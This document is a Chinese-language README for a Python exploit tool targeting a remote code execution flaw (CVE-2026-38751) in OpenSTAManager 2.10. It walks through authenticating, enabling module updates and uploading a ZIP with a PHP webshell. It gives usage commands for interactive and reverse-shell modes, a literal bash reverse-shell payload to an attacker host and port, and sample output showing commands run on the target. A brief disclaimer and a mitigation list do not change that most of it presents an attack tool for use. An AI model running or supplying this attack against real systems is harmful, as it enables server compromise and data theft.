OpenSTAManager RCE 利用工具 (CVE-2026-38751)

概述

此 Python 脚本利用 OpenSTAManager 2.10 版本中的一个远程代码执行漏洞，编号为 CVE-2026-38751。该利用工具允许经过身份验证的用户上传恶意模块并在目标系统上执行任意命令。

漏洞详情

• CVE ID：CVE-2026-38751
• 产品：OpenSTAManager
• 版本：2.10
• 类型：远程代码执行 (RCE)
• 攻击向量：基于 Web，需要有效身份验证

利用原理

该利用工具遵循以下步骤：

1. 身份验证：使用提供的凭据登录 OpenSTAManager 应用
2. 启用更新：激活模块更新功能，这是利用工具执行所必需的
3. 创建恶意 ZIP：生成一个包含以下内容的 ZIP 文件：
   • 模块定义文件 (MODULE)
   • PHP Shell 脚本 (shell.php)，通过 GET 参数 c 执行命令
4. 上传模块：通过模块更新接口上传恶意 ZIP
5. 验证利用：确认 Shell 可访问且功能正常
6. 执行命令：可以是：
   • 交互式 Shell 模式，用于手动执行命令
   • 反弹 Shell 连接，建立持久连接

前提条件

• Python 3.x
• 所需 Python 包：requests、zipfile
• OpenSTAManager 的有效管理员凭据
• 能够访问目标系统的网络

使用方法

基本用法

python3 exploit.py -u http://target.com -U admin -P password

交互式 Shell 模式

python3 exploit.py -u http://target.com -U admin -P password --interactive

反弹 Shell 模式

python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444

参数说明

技术细节

利用过程

1. 身份验证：脚本向应用的身份验证端点发起登录请求
2. 启用模块更新：发送 POST 请求以启用模块更新功能
3. ZIP 生成：创建一个 ZIP 归档，包含：
   • shell/MODULE：模块配置文件
   • shell/shell.php：PHP Webshell，通过 GET 参数 c 执行命令
4. 上传过程：使用 multipart 表单数据将恶意 ZIP 上传到模块更新端点
5. 验证：通过执行简单命令（如 id）测试上传的 Shell 是否正常工作
6. 命令执行：提供交互式 Shell 或建立反弹 Shell 连接

使用的载荷

该利用工具尝试多种反弹 Shell 载荷：

• Bash 反弹 Shell：bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
• 使用 Socket 连接的 Python 反弹 Shell
• Base64 编码的 Bash 载荷
• Netcat 反弹 Shell

安全注意事项

⚠️ 免责声明：此利用工具仅供教育和授权安全测试目的使用。

风险评估

此漏洞允许：

• 以 Web 服务器用户身份执行任意代码
• 潜在的权限提升
• 访问系统上存储的敏感数据
• 在网络内进行横向移动

缓解措施

为防范此漏洞：

1. 将 OpenSTAManager 更新到最新版本
2. 实施适当的身份验证控制
3. 限制文件上传功能
4. 监控可疑活动
5. 应用网络分段

示例输出

[ OpenSTAManager RCE 利用工具 : ]

目标：http://target.com
[*] 步骤 1：登录...
[+] 登录成功：admin
[*] 步骤 2：启用更新...
[+] 更新已启用
[*] 步骤 3：创建 ZIP...
[*] 创建内存中的 ZIP 文件
[*] Shell 位置：/modules/shell/shell.php
[*] 步骤 4：上传...
[*] 上传状态：200
[+] 上传成功
[*] 步骤 5：验证...
[+] 漏洞确认！
[+] Shell：http://target.com/modules/shell/shell.php
[+] 测试：http://target.com/modules/shell/shell.php?c=whoami

[*] 进入交互模式...
cmd> whoami
www-data
cmd> exit

参考

• GitHub 仓库
• CVE 详情

许可证

此利用工具仅供教育目的使用。未经授权对不属于您或未经明确许可的系统进行使用是违法的。